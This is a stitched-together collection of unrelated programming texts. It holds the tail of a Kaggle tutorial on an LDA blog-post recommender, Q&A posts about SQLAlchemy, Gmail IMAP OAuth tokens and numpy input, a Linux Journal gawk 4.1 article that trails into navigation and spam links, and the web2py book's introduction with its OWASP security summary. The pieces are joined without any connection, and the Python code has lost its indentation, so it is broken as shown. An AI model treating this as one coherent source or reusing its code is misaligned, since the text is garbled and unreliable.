# First, we make a dictionary of words used in the posts
with Files([open("../trainPosts.json"), open("../testPosts.json")]) as myFiles:
try:
dictionary = corpora.dictionary.Dictionary.load("dictionary.saved")
except:
dictionary = corpora.Dictionary(doc for doc in myFiles)
stop_ids = [dictionary.token2id[stopword] for stopword in stop_words if stopword in dictionary.token2id]
infreq_ids = [tokenid for tokenid, docfreq in dictionary.dfs.iteritems() if docfreq < 50]
dictionary.filter_tokens(stop_ids + infreq_ids) # remove stop words and words that appear infrequently
dictionary.compactify() # remove gaps in id sequence after words that were removed
dictionary.save("dictionary.saved")
Next, we train the LDA model with the blog posts, estimating 100 topics.
try:
lda = models.ldamodel.LdaModel.load("lda.saved")
except:
lda = models.ldamodel.LdaModel(corpus=Corp(myFiles, dictionary), id2word=dictionary, num_topics=100, update_every=1, chunksize=10000, passes=1)
lda.save("lda.saved")
Now, we do some quick preliminary work to determine which blogs have which posts, and to map post_id's to a zero-based index, or vice versa
trainPostIndices = {}
blogTrainPosts = defaultdict(list)
with open("../trainPostsThin.json") as f:
for i, line in enumerate(f):
post = json.loads(line)
blog_id = post["blog"]
post_id = post["post_id"]
trainPostIndices[post_id] = i
blogTrainPosts[blog_id].append(post_id)
logging.info("Done doing preliminary training data processing")
testPostIds = []
testPostIndices = {}
blogTestPosts = defaultdict(list)
with open("../testPostsThin.json") as f:
for i, line in enumerate(f):
post = json.loads(line)
blog_id = post["blog"]
post_id = post["post_id"]
testPostIds.append(post_id)
testPostIndices[post_id] = i
blogTestPosts[blog_id].append(post_id)
logging.info("Done doing preliminary test data processing")
We now estimate the test post topic distributions. This distribution is represented by a 100 dimensional (sparse) vector, one for each post, which indicates the likelihood that a word from a given post will belong to a given topic. We then construct a lookup-index of these test post vectors, for quick answers to questions about what test posts are similar to a given training post. The similarity measure between two posts is defined to be the cosine of the angle between their topic distribution vectors, like the correlation except that we do not subtract the mean. Since the similiarity measure is the cosine of an angle, it is always between -1 and 1.
logging.info("Making the test lookup index...")
try:
testVecs = cPickle.load(open("TestVecs.saved", "r"))
testIndex = similarities.Similarity.load("TestIndex.saved")
except:
with Files([open("../testPosts.json")]) as myFilesTest:
myCorpTest = Corp(myFilesTest, dictionary)
testVecs = [vec for vec in lda[myCorpTest]]
testIndex = similarities.Similarity("./simDump/", testVecs, num_features=100)
testIndex.num_best = 100
cPickle.dump(testVecs, open("TestVecs.saved", "w"))
testIndex.save("TestIndex.saved")
logging.info("Done making the test lookup index")
We estimate the training topic vectors, which we can hold in memory since they are sparsely coded in gensim. This is purely a matter of convenience; if this were too onerous a requirement on memory, we could estimate the training topics on the fly.
logging.info("Estimating the training topics...")
try:
TrainVecs = cPickle.load(open("TrainVecs.saved", "r"))
except:
with Files([open("../trainPosts.json")]) as myFilesTrain:
myCorpTrain = Corp(myFilesTrain, dictionary)
trainVecs = [vec for vec in lda[myCorpTrain]]
cPickle.dump(trainVecs, open("TrainVecs.saved", "w"))
logging.info("Done estimating the training topics")
Finally, we begin making submissions. As you'll recall, we only consider posts from blogs the user has liked before. To rank the test posts from these blogs, we score them as follows: Every post gets a score that is the sum of a "blog score" and a "semantic score". The blog score is equal to the fraction of posts the user liked in the training set from a given blog out of all the posts that blog published, weighted by a "blog_weight", in this case 2.0. The semantic score is equal to the greatest semantic similarity between the post in question and the posts the user liked in the train period.
As an example, suppose we wished to score this blog post for a given user. Suppose the user had liked 8 out of 13 blog posts from the "Kaggle" blog in the test period, and that the closest semantic similarity between this post and any of the 15 posts the user liked in the training period was 0.93. Then this post would be scored as 2.0 * 8/13 + 0.93 = 2.16.
logging.info("Beginning to make submissions")
with open("../trainUsers.json", "r") as users, open("submissions.csv", "w") as submissions:
submissions.write("\"posts\"\n")
for user_total, line in enumerate(users):
user = json.loads(line)
if not user["inTestSet"]:
continue
blog_weight = 2.0
posts = defaultdict(int) # The potential posts to recommend and their scores
liked_blogs = [like["blog"] for like in user["likes"]]
for blog_id in liked_blogs:
for post_id in blogTestPosts[blog_id]:
posts[post_id] += blog_weight / len(blogTestPosts[blog_id])
# After this, posts[post_id] = (# times blog of post_id was liked by user in training) / (# posts from blog of post_id in training)
posts_indices = [testPostIndices[post_id] for post_id in posts]
posts_vecs = [testVecs[i] for i in posts_indices]
liked_post_indices = []
for like in user["likes"]:
try: # For whatever reason, there is a slight mismatch between posts liked by users in trainUsers.json, and posts appearing in trainPosts.json
liked_post_indices.append(trainPostIndices[like["post_id"]])
except:
logging.warning("Bad index!")
total_likes = len(liked_post_indices)
sample_size = min(10, total_likes)
liked_post_indices = random.sample(liked_post_indices, sample_size) # to cut down computation time
liked_post_vecs = [trainVecs[i] for i in liked_post_indices]
likedPostIndex = similarities.SparseMatrixSimilarity(liked_post_vecs, num_terms=100)
for posts_index, similar in zip(posts_indices, likedPostIndex[posts_vecs]):
posts[testPostIds[posts_index]] += max([rho for rho in similar])
# ie, posts[post_id] += max(semantic similarities to sample of previously liked posts)
If there are less than 100 test posts from blogs the user has previously liked, we fill up remaining spaces with posts semantically similar to previously liked posts, (almost always from different blogs).
if len(posts) < 100:
similar_posts_ids = [(testPostIds[i], rho) for similar100 in testIndex[liked_post_vecs] for i, rho in similar100]
for post_id, rho in similar_posts_ids:
posts[post_id] += rho / sample_size
# dividing by the sample size ensures that the biggest additional score a post could get from this is 1.0
Finally, we pick the top 100 blogs, (or less if that's the case), and write them to our submissions file!
recommendedPosts = list(sorted(posts, key=posts.__getitem__, reverse=True))
output = " ".join(recommendedPosts[:100]) + "\n"
submissions.write(output)
if user_total % 100 == 0:
logging.info("User " + str(user_total) + " out of 16262")
Well, you've seen it all, now. As a result, you've no doubt seen that there's plenty of room for improvement! Maybe we should include more blog posts than just those from blogs the user has previously liked, or actually parse the html instead of stripping the tags, (at present, for example, image tags are removed), or come up with a more sophisticated recommendation system than the primitive scoring I've used. Whatever you do, I can't wait to see it!
Wishing you the best of luck,
Naftali Harris
Intern Commander-In-Chief
P.S. Thanks to Martin O'Leary for help on cleaning up my code! |
I'm trying to convert a one-to-many part of a many-to-many relationship to a python set(). See the following play example for code:
message_tos = Table('message_tos', Base.metadata,
Column('message_id', Integer, ForeignKey('message.id')),
Column('address_id', Integer, ForeignKey('address.id'))
)
class Address(Base):
address = Column(String, nullable=False, unique=True)
emails = relationship('Message')
def __init__(self, address):
self.address = address
class Email(Base):
from = relationship('Address', backref='from')
to = relationship('Address', secondary=message_tos, backref='messages_to')
message_id = Column(String, nullable=False, unique=True)
...
def whatever(*args, **kwargs):
"""
...
"""
email = session.query(Email).filter(Email.message_id==message_id).first()
blah = set(email.to).union(email.from) # This lines throws an error that Address is not iterable
Is there any way to run the set(email.to) code (which places an Address object into a set), or am I going about this completely the wrong way? Obviously, I could just do set([email.to]), however this is an entire extra order of complexity (and this function may be called multiple times with potentially very long .to or .from lists) which I'd rather not have |
I am Google Apps administrator and using xoauth.py and IMAP to download users mails without users password. But this process gets stopped after 1 hour. I searched many blogs and I came to know this token expires after 1 hour. Can anyone tell me how to extend that expiration time to Never, or how to refresh this token?
I assume you're using a Service Account, OAuth 2.0 and impersonation here? See:
there's no way to refresh the token or increase the expiration time. Your application should cache the given token to be used with all IMAP connections for one hour. After that it should generate another JWT, sign it, and request another access token.
I am using following script to generate access token:
consumer_key = "domain.com"
consumer_secret = "consumer_secret"
MY_EMAIL = '[email protected]'
MY_TOKEN =''
MY_SECRET = ''
nonce = str(random.randrange(2**64 - 1))
timestamp = str(int(time.time()))
consumer = xoauth.OAuthEntity(consumer_key,consumer_secret)
access = xoauth.OAuthEntity(MY_TOKEN,MY_SECRET)
token = xoauth.GenerateXOauthString(consumer,access,MY_EMAIL,'imap',MY_EMAIL,nonce,timestamp)
m = imaplib.IMAP4_SSL("imap.googlemail.com")
m.authenticate('XOAUTH',lambda x: token)
Which token(consumer,access,token) is expiring here after 1 hour? How to regenerate it? Thanks a ton for your prompt help. |
I've written this program so solve two equations based on values defined by the user. The constants kx and ky, I've defined as floats. For the range - variables start and end - I would like the user to either enter a number, or something like 6 * np.pi (6Pi). As it is now, I get the following error. How can I define this variable to allow users to enter multiple types of inputs? Thanks!
Traceback (most recent call last):
File "lab1_2.py", line 11, in <module>
x = np.linspace(start, end, 256, endpoint=True)
File "/Library/Frameworks/Python.framework/Versions/7.3/lib/python2.7/site- packages/numpy/core/function_base.py", line 80, in linspace
step = (stop-start)/float((num-1))
TypeError: unsupported operand type(s) for -: 'str' and 'float'
Here's the code:
from pylab import *
import numpy as np
kx = float(raw_input("kx: "))
ky = float(raw_input("ky: "))
print "Define the range of the output:"
start = float(raw_input("From: "))
end = float((raw_input("To: "))
x = np.linspace(start, end, 256, endpoint=True)
y = np.linspace(start, end, 256, endpoint=True)
dz_dx = ((1 / 2.0) * kx * np.exp((-kx * x) / 2)) * ((2 * np.cos(kx *x)) - (np.sin(kx * x)))
dz_dy = ((1 / 2.0) * ky * np.exp((-ky * y) / 2)) * ((2 * np.cos(ky *y)) - (np.sin(ky * y)))
plot(x, dz_dx, linewidth = 1.0)
plot(y, dz_dy, linewidth = 1.0)
grid(True)
show()
|
GNU Awk 4.1: Teaching an Old Bird Some New Tricks, Part II
In an earlier article ("GNU Awk 4.0: Teaching an Old Bird Some NewTricks",published in the September 2011 issue of Linux Journal), Igave a brief history of awk andgawk and provided a high-level overviewof the many new features in gawk 4.0. I recommend reading that article first,although you can read this one without doing so, if you wish.
gawk 4.0 itself was released in June 2011. Since then,the gawkdevelopment team has not been resting on its laurels! gawk 4.1, releasedin May 2013, contains a number of new features, and that's what Icover here.
Unlike gawk 4.0, there are considerably fewer changes at the languagelevel (although there are some). The changes this time around are moreconcerned with internals, and with the ability to interface to theoutside world. So let's get started.
Reduced Footprint
For many years, when you built gawk, you got two executables: the regularinterpreter, gawk, and pgawk, itsprofiling twin brother, which ran awkprograms (more slowly) and produced a statement count execution profileshowing how many times each line of code was executed.
With gawk 4.0, you got an additional executable,dgawk,the gawk debugger.Although the three versions shared most of the same code, the core parts thatactually executed your awk program were compiled differently in each one.
For gawk 4.1, all three executables have been merged into a singleprogram, named just gawk. Although the combined executable is larger,it is still smaller than having three separate executables, andin addition, the documentation is simpler and easier to understand(and maintain!).
To accommodate this change, the options had to change slightly.You now use -D to run the debugger,-p to do profiling and-o for pretty-printing without profiling.
Arbitrary Precision Arithmetic with MPFR and GMP
An important new feature that is visible for the awk programmer isarbitrary precision floating-point arithmetic with the GNU MPFR and GMPlibraries.
This is an optional feature: if you have the MPFR and GMP librariesinstalled when you configure and build gawk,gawk automaticallywill be able to use them.
Note that I said "be able to use them". You still have tochoose to do so either by using the -M option(or --bignum, if you prefer long options), or by setting the specialvariable PREC to the desired floating-point precision.
The precision is the number of bits kept in the floating-point mantissa.The default is 53, which is the same as that used by hardware double-precision floating point. From the gawk manual:
$ gawk -M -v PREC=100 'BEGIN { x = 1.0e-400; print x + 0}
> PREC = "double"; print x + 0 }'
1e-400
0
You see that regular hardware can't handle an exponent of -400, whereas MPFR can.
An additional new variable, ROUNDMODE, sets the rounding mode forcalculations and printing arbitrary precision values.
In the past several years, for reasons I don't quite understand,I've gotten bug reports from people who expect gawk's arithmeticto work exactly like "real" arithmetic done with pencil and paper.In other words, they want what is known in Computer Science asdecimal arithmetic. I'm not sure why they expect this, but as we allshould know, computers don't quite work that way.
MPFR does not give you decimal arithmetic. However, if you understand what you're doing and how to use it, you can get results that are likely to be good enough for your purposes.
The manual has a full chapter that describes the issues involved with floating-point arithmetic, what it means when you increase the precision, and how to use the various rounding modes supported by MPFR.
New Arrays Provide Indirect Variable Access
There are three new arrays:
SYMTAB: provides access toawk-level variables.
FUNCTAB: lists the names of all user-defined and extension functions.
PROCINFO["identifiers"]: lists all known identifiers and whatgawkknows about their types after it has parsed the program.
Of these, SYMTAB is the most interesting, since it provides indirect accessto any variable. For example:
$ gawk 'BEGIN { a = 5 ; print "a =", a
> SYMTAB["a"] += 37
> print "a is now", a }'
a = 5
a is now 42
With the isarray() built-in function, you can"walk" the entire symboltable and print out all variable and array values, if you choose to do so.
Dynamic Extensions
The most exciting change in gawk 4.1 is its ability to interface to theoutside world. For many years, gawk had an"extension" or "plug in"mechanism that let a programmer write a new "built-in" function in C,and load it into the running gawk interpreter at runtime.
This mechanism required understanding something of thegawk internalsand making use of gawk's internal data structures and functions. Althoughit was documented minimally, and it worked, it had several drawbacks.The most notable one was that there was no backward compatibility acrossreleases.
Nonetheless, a group of developers forked gawk to createxgawk (XML gawk)and developed a number of dynamic extensions and new facilities for thecore executable.
For many years, I had been wanting to provide a defined C API forwriting extensions that would not be dependent upon thegawk internalsand that possibly could provide binary compatibility across releases.
For gawk 4.1, together with thexgawk developers, we finally made this happen.
Geolocation
Give new life to old phones and tablets with these tips!
Lucidchart
Memory Ordering in Modern Microprocessors, Part I
Linux Systems Administrator
Senior Perl Developer
Technical Support Rep
Source Code Scanners for Better Code
Putlocker!! Watch Begin Again Online 2014 Streaming Full Movie
Tech Tip: Really Simple HTTP Server with Python |
Introduction
web2py[web2py] is a free, open-source web framework for agile development of secure database-driven web applications; it is written in Python[python] and programmable in Python. web2py is a full-stack framework, meaning that it contains all the components you need to build fully functional web applications.
web2py is designed to guide a web developer to follow good software engineering practices, such as using the Model View Controller (MVC) pattern. web2py separates the data representation (the model) from the data presentation (the view) and also from the application logic and workflow (the controller). web2py provides libraries to help the developer design, implement, and test each of these three parts separately, and makes them work together.
web2py is built for security. This means that it automatically addresses many of the issues that can lead to security vulnerabilities, by following well established practices. For example, it validates all input (to prevent injections), escapes all output (to prevent cross-site scripting), renames uploaded files (to prevent directory traversal attacks). web2py takes care of main security issues, so developers have less chances of introducing vulnerabilities.
web2py includes a Database Abstraction Layer (DAL) that writes SQL[sql-w] dynamically so that you, the developer, don't have to. The DAL knows how to generate SQL transparently for SQLite[sqlite], MySQL[mysql], PostgreSQL[postgres], MSSQL[mssql], FireBird[firebird], Oracle[oracle], IBM DB2[db2], Informix[informix] and Ingres[ingresdb].
The DAL can also generate function calls for the Google Datastore when running on the Google App Engine (GAE)[gae]. Experimentally we support more databases and new ones are constantly added. Please check on the web2py web site and mailing list for more recent adapters. Once one or more database tables are defined, web2py automatically generates a fully functional web-based database administration interface to access the database and the tables.
web2py differs from other web frameworks in that it is the only framework to fully embrace the Web 2.0 paradigm, where the web is the computer. In fact, web2py does not require installation or configuration; it runs on any architecture that can run Python (Windows, Windows CE, Mac OS X, iOS, and Unix/Linux), and the development, deployment, and maintenance phases for the applications can be done via a local or remote web interface. web2py runs with CPython (the C implementation) and PyPy (Python written in Python), on Python versions 2.5, 2.6, and 2.7.
web2py provides a ticketing system for error events. If an error occurs, a ticket is issued to the user, and the error is logged for the administrator.
web2py is open source and released under the LGPL version 3 license.
Another important feature of web2py is that we, its developers, commit to maintain backward compatibility in future versions. We have done so since the first release of web2py in October, 2007. New features have been added and bugs have been fixed, but if a program worked with web2py 1.0, that program will work even better today.
Here are some examples of web2py statements that illustrate its power and simplicity. The following code:
db.define_table('person', Field('name'), Field('image', 'upload'))
creates a database table called "person" with two fields: "name", a string; and "image", something that needs to be uploaded (the actual image). If the table already exists but does not match this definition, it is altered appropriately.
Given the table defined above, the following code:
form = SQLFORM(db.person).process()
creates an insert form for this table that allows users to upload images. It also validates the submitted form, renames the uploaded image in a secure way, stores the image in a file, inserts the corresponding record in the database, prevents double submission, and eventually modifies the form itself by adding error messages if the data submitted by the user does not pass validation.
This code embeds a fully working wiki with tags, search, tag cloud, permissions, media attachments, and oembed support:
def index(): return auth.wiki()
The following code instead:
@auth.requires_permission('read','person')
def f(): ....
prevents visitors from accessing the function f unless the visitor is a member of a group whose members have permissions to "read" records of table "person". If the visitor is not logged in, the visitor gets directed to a login page (provided by default by web2py).
web2py also supports components, i.e. actions which can be loaded in a view and interact with the visitor via Ajax without re-loading the entire page. This is done via a LOAD helper which allows very modular design of applications; it is discussed in chapter 3 in the context of the wiki and, in some detail, in the last chapter of this book.
This 6th edition of the book describes web2py 2.4.1 and later versions.
Principles
Python programming typically follows these basic principles:
Don't repeat yourself (DRY).
There should be only one way of doing things.
Explicit is better than implicit.
web2py fully embraces the first two principles by forcing the developer to use sound software engineering practices that discourage repetition of code. web2py guides the developer through almost all the tasks common in web application development (creating and processing forms, managing sessions, cookies, errors, etc.).
web2py differs from other frameworks with regard to the third principle, which sometimes conflicts with the other two. In particular, web2py does not import user applications, but executes them in a predefined context. This context exposes the Python keywords, as well as the web2py keywords.
To some this may appear as magic, but it should not. Simply, in practice, some modules are already imported without you doing so. web2py is trying to avoid the annoying characteristic of other frameworks that force the developer to import the same modules at the top of every model and controller.
web2py, by importing its own modules, saves time and prevents mistakes, thus following the spirit of "don't repeat yourself" and "there should be only one way of doing things".
If the developer wishes to use other Python modules or third-party modules, those modules must be imported explicitly, as in any other Python program.
Web frameworks
At its most fundamental level, a web application consists of a set of programs (or functions) that are executed when the corresponding URL is visited. The output of the program is returned to the visitor and rendered by the browser.
The purpose of web frameworks is to allow developers to build new apps quickly, easily and without mistakes. This is done by providing APIs and tools that reduce and simplify the amount of coding that is required.
The two classic approaches for developing web applications are:
The first model is the one that was followed, for example, by early CGI scripts. The second model is followed, for example, by PHP[php] (where the code is in PHP, a C-like language), ASP (where the code is in Visual Basic), and JSP (where the code is in Java).
Here is an example of a PHP program that, when executed, retrieves data from a database and returns an HTML page showing the selected records:
<html><body><h1>Records</h1><?
mysql_connect(localhost,username,password);
@mysql_select_db(database) or die( "Unable to select database");
$query="SELECT * FROM contacts";
$result=mysql_query($query);
mysql_close();
$i=0;
while ($i < mysql_numrows($result)) {
$name=mysql_result($result,$i,"name");
$phone=mysql_result($result,$i,"phone");
echo "<b>$name</b><br>Phone:$phone<br /><br /><hr /><br />";
$i++;
}
?></body></html>
The problem with this approach is that code is embedded into HTML, but the very same code also needs to generate additional HTML and to generate SQL statements to query the database, entangling multiple layers of the application and making it difficult to read and maintain. The situation is even worse for Ajax applications, and the complexity grows with the number of pages (files) that make up the application.
The functionality of the above example can be expressed in web2py with two lines of Python code:
def index():
return HTML(BODY(H1('Records'), db().select(db.contacts.ALL)))
In this simple example, the HTML page structure is represented programmatically by the HTML, BODY, and H1 objects; the database db is queried by the select command; finally, everything is serialized into HTML. Notice that db is not a keyword but a user defined variable. We will use this name consistently to refer to a database connection to avoid confusion.
Web frameworks are typically categorized as one of two types: A "glued" framework is built by assembling (gluing together) several third-party components. A "full-stack" framework is built by creating components designed specifically to be tightly integrated and work together.
web2py is a full-stack framework. Almost all of its components are built from scratch and are designed to work together, but they function just as well outside of the complete web2py framework. For example, the Database Abstraction Layer (DAL) or the template language can be used independently of the web2py framework by importing gluon.dal or gluon.template into your own Python applications. gluon is the name of the web2py module that contains system libraries. Some web2py libraries, such as building and processing forms from database tables, have dependencies on other portions of web2py. web2py can also work with third-party Python libraries, including other template languages and DALs, but they will not be as tightly integrated as the original components.
Model-View-Controller
web2py encourages the developer to separate data representation (the model), data presentation (the view) and the application workflow (the controller). Let's consider again the previous example and see how to build a web2py application around it. Here is an example of the web2py MVC edit interface:
The typical workflow of a request in web2py is described in the following diagram:
In the diagram:
The Server can be the web2py built-in web server or a third-party server, such as Apache. The Server handles multi-threading.
"main" is the main WSGI application. It performs all common tasks and wraps user applications. It deals with cookies, sessions, transactions, URL routing and reverse routing, and dispatching.
It can serve and stream static files if the web server is not doing it yet.
The Models, Views and Controller components make up the user application.
Multiple applications can be hosted in the same web2py instance.
The dashed arrows represent communication with the database engine(s). The database queries can be written in raw SQL (discouraged) or by using the web2py Database Abstraction Layer (recommended), so that web2py application code is not dependent on the specific database engine.
The dispatcher maps the requested URL to a function call in the controller. The output of the function can be a string or a dictionary of symbols (a hash table). The data in the dictionary is rendered by a view. If the visitor requests an HTML page (the default), the dictionary is rendered into an HTML page. If the visitor requests the same page in XML, web2py tries to find a view that can render the dictionary in XML. The developer can create views to render pages in any of the already supported protocols (HTML, XML, JSON, RSS, CSV, and RTF) or in additional custom protocols.
All calls are wrapped into a transaction, and any uncaught exception causes the transaction to be rolled back. If the request succeeds, the transaction is committed.
web2py also handles sessions and session cookies automatically, and when a transaction is committed, the session is also stored, unless specified otherwise.
It is possible to register recurrent tasks (via cron) to run at scheduled times and/or after the completion of certain actions. In this way it is possible to run long and compute-intensive tasks in the background without slowing down navigation.
Here is a minimal and complete MVC application, consisting of three files:
"db.py" is the model:
db = DAL('sqlite://storage.sqlite')
db.define_table('contact',
Field('name'),
Field('phone'))
It connects to the database (in this example a SQLite database stored in the storage.sqlite file) and defines a table called contact. If the table does not exist, web2py creates it and, transparently and in the background, generates SQL code in the appropriate SQL dialect for the specific database engine used. The developer can see the generated SQL but does not need to change the code if the database back-end, which defaults to SQLite, is replaced with MySQL, PostgreSQL, MSSQL, FireBird, Oracle, DB2, Informix, Interbase, Ingres, and the Google App Engine (both SQL and NoSQL).
Once a table is defined and created, web2py also generates a fully functional web-based database administration interface, called appadmin, to access the database and the tables.
"default.py" is the controller:
def contacts():
grid=SQLFORM.grid(db.contact, user_signature=False)
return locals()
In web2py, URLs are mapped to Python modules and function calls. In this case, the controller contains a single function (or "action") called contacts. An action may return a string (the returned web page) or a Python dictionary (a set of key:value pairs) or the set of local variables (as in this example). If the function returns a dictionary, it is passed to a view with the same name as the controller/function, which in turn renders the page. In this example, the function contacts generates a select/search/create/update/delete grid for table db.contact and returns the grid to the view.
"default/contacts.html" is the view:
{{extend 'layout.html'}}
<h1>Manage My Contacts</h1>
{{=grid}}
This view is called automatically by web2py after the associated controller function (action) is executed. The purpose of this view is to render the variables in the returned dictionary (in our case grid) into HTML. The view file is written in HTML, but it embeds Python code delimited by the special {{ and }} delimiters. This is quite different from the PHP code example, because the only code embedded into the HTML is "presentation layer" code. The "layout.html" file referenced at the top of the view is provided by web2py and constitutes the basic layout for all web2py applications. The layout file can easily be modified or replaced.
Why web2py
web2py is one of many web application frameworks, but it has compelling and unique features. web2py was originally developed as a teaching tool, with the following primary motivations:
Easy for users to learn server-side web development without compromising functionality. For this reason, web2py requires no installation and no configuration, has no dependencies (except for the source code distribution, which requires Python 2.5 and its standard library modules), and exposes most of its functionality via a Web interface, including an Integrated Development Environment with Debugger and database interface.
web2py has been stable from day one because it follows a top-down design; i.e., its API was designed before it was implemented. Even as new functionality has been added, web2py has never broken backwards compatibility, and it will not break compatibility when additional functionality is added in the future.
web2py proactively addresses the most important security issues which plague many modern web applications, as determined by OWASP[owasp]below.
web2py is lightweight. Its core libraries, including the Database Abstraction Layer, the template language, and all the helpers amount to 1.4MB. The entire source code including sample applications and images amounts to 10.4MB.
web2py has a small footprint and is very fast. It uses the Rocket[rocket]WSGI web server developed by Timothy Farrell. It is as fast as Apache with mod_wsgi, and supports SSL and IPv6.
web2py uses Python syntax for models, controllers, and views, but does not import models and controllers (as all the other Python frameworks do) - instead it executes them. This means that apps can be installed, uninstalled, and modified without having to restart the web server (even in production), and different apps can coexist without their modules interfering with one another.
web2py uses a Database Abstraction Layer (DAL) instead of an Object Relational Mapper (ORM). From a conceptual point of view, this means that different database tables are mapped into different instances of one Tableclass and not into different classes, while records are mapped into instances of oneRowclass, not into instances of the corresponding table class. From a practical point of view, it means that SQL syntax maps almost one-to-one into DAL syntax, and there is no complex metaclass programming going on under the hood as in popular ORMs, which would add latency.
Here is a screenshot of the main web2py admin interface:
Security
The Open Web Application Security Project[owasp] (OWASP) is a free and open worldwide community focused on improving the security of application software.
OWASP has listed the top ten security issues that put web applications at risk. That list is reproduced here, along with a description of how each issue is addressed by web2py:
cross site scripting"Cross Site Scripting (XSS): XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc."web2py, by default, escapes all variables rendered in the view, preventing XSS.
injection flaws"Injection Flaws: Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data."web2py includes a Database Abstraction Layer that makes SQL injection impossible. Normally, SQL statements are not written by the developer. Instead, SQL is generated dynamically by the DAL, ensuring that all inserted data is properly escaped.
malicious file execution"Malicious File Execution: Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise."web2py allows only exposed functions to be executed, preventing malicious file execution. Imported functions are never exposed; only actions are exposed. web2py uses a Web-based administration interface which makes it very easy to keep track of what is exposed and what is not.
insecure object reference"Insecure Direct Object Reference: A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization."web2py does not expose any internal objects; moreover, web2py validates all URLs, thus preventing directory traversal attacks. web2py also provides a simple mechanism to create forms that automatically validate all input values.
CSRF"Cross Site Request Forgery (CSRF): A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks."web2py prevents CSRF as well as accidental double submission of forms by assigning a one-time random token to each form. Moreover web2py uses UUID for session cookie.
information leakageimproper error handling"Information Leakage and Improper Error Handling: Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data, or conduct more serious attacks."web2py includes a ticketing system. No error can result in code being exposed to the users. All errors are logged and a ticket is issued to the user that allows error tracking. But errors and source code are accessible only to the administrator.
"Broken Authentication and Session Management: Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities." web2py provides a built-in mechanism for administrator authentication, and it manages sessions independently for each application. The administrative interface also forces the use of secure session cookies when the client is not "localhost". For applications, it includes a powerful Role Based Access Control API.
cryptographic store"Insecure Cryptographic Storage: Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud."web2py uses the MD5 or the HMAC+SHA-512 hash algorithms to protect stored passwords. Other algorithms are also available.
secure communications"Insecure Communications: Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications."web2py includes the SSL-enabled[ssl]Rocket WSGI server, but it can also use Apache or Lighttpd and mod_ssl to provide SSL encryption of communications.
access restriction"Failure to Restrict URL Access: Frequently an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly."web2py maps URL requests to Python modules and functions. web2py provides a mechanism for declaring which functions are public and which require authentication and authorization. The included Role Based Access Control API allow developers to restrict access to any function based on login, group membership or group based permissions. The permissions are very granular and can be combined with database filters to allow, for example, to give access to specific tables and/or records. web2py also allows digitally signed URL and provides API to digitally sign Ajax callbacks.
web2py was reviewed for security and you can find the result of the review in ref.[pythonsecurity].
In the box
You can download web2py from the official web site:
http://www.web2py.com
web2py is composed of the following components:
libraries: provide core functionality of web2py and are accessible programmatically.
web server: the Rocket WSGI web server.
the adminapplication: used to create, design, and manage other web2py applications.adminprovides a complete web-based Integrated Development Environment (IDE) for building web2py applications. It also includes other functionality, such as web-based testing and a web-based shell.
the examplesapplication: contains documentation and interactive examples.examplesis a clone of the official web2py.com web site, and includes epydoc documentation.
the welcomeapplication: the basic scaffolding template for any other application. By default it includes a pure CSS cascading menu and user authentication (discussed in Chapter 9).
web2py is distributed in source code, and in binary form for Microsoft Windows and for Mac OS X.
The source code distribution can be used in any platform where Python runs and includes the above-mentioned components. To run the source code, you need Python 2.5, 2.6 or 2.7 pre-installed on the system. You also need one of the supported database engines installed. For testing and light-demand applications, you can use the SQLite database, included with Python 2.7.
The binary versions of web2py (for Windows and Mac OS X) include a Python 2.7 interpreter and the SQLite database. Technically, these two are not components of web2py. Including them in the binary distributions enables you to run web2py out of the box.
The following image depicts the overall web2py structure:
At the bottom we find the interpreter. Moving up we find the web server (rocket), the libraries, and the applications. Each application consists for its own MVC design (models, controllers, views, modules, languages, databases, and static files). Each application includes it own database administration code (appadmin). Every web2py instance ships with three applications: welcome (the scaffolding app), admin (the web based IDE), and examples (copy of website and examples).
About this book
This book includes the following chapters, besides this introduction:
Chapter 2 is a minimalist introduction to Python. It assumes knowledge of both procedural and object-oriented programming concepts such as loops, conditions, function calls and classes, and covers basic Python syntax. It also covers examples of Python modules that are used throughout the book. If you already know Python, you may skip Chapter 2.
Chapter 3 shows how to start web2py, discusses the administrative interface, and guides the reader through various examples of increasing complexity: an application that returns a string, a counter application, an image blog, and a full blown wiki application that allows image uploads and comments, provides authentication, authorization, web services and an RSS feed. While reading this chapter, you may need to refer to Chapter 2 for general Python syntax and to the following chapters for a more detailed reference about the functions that are used.
Chapter 4 covers more systematically the core structure and libraries: URL mapping, request, response, sessions, caching, scheduler, cron, internationalization and general workflow.
Chapter 5 is a reference for the template language used to build views. It shows how to embed Python code into HTML, and demonstrates the use of helpers (objects that can generate HTML).
Chapter 6 covers the Database Abstraction Layer, or DAL. The syntax of the DAL is presented through a series of examples.
Chapter 7 covers forms, form validation and form processing. FORM is the low level helper for form building. SQLFORM is the high level form builder. In Chapter 7 we also discuss Create/Read/Update/Delete (CRUD) API.
Chapter 8 covers communication features as retrieving and sending emails and SMSes.
Chapter 9 covers authentication, authorization and the extensible Role-Based Access Control mechanism available in web2py. Mail configuration and CAPTCHA are also discussed here, since they are used for authentication. In the third edition of the book we have added extensive coverage of integration with third-party authentication mechanisms such as OpenID, OAuth, Google, Facebook, LinkedIn, etc.
Chapter 10 is about creating web services in web2py. We provide examples of integration with the Google Web Toolkit via Pyjamas, and with Adobe Flash via PyAMF.
Chapter 11 is about web2py and jQuery recipes. web2py is designed mainly for server-side programming, but it includes jQuery, since we have found it to be the best open-source JavaScript library available for effects and Ajax. In this chapter, we discuss how to effectively use jQuery with web2py.
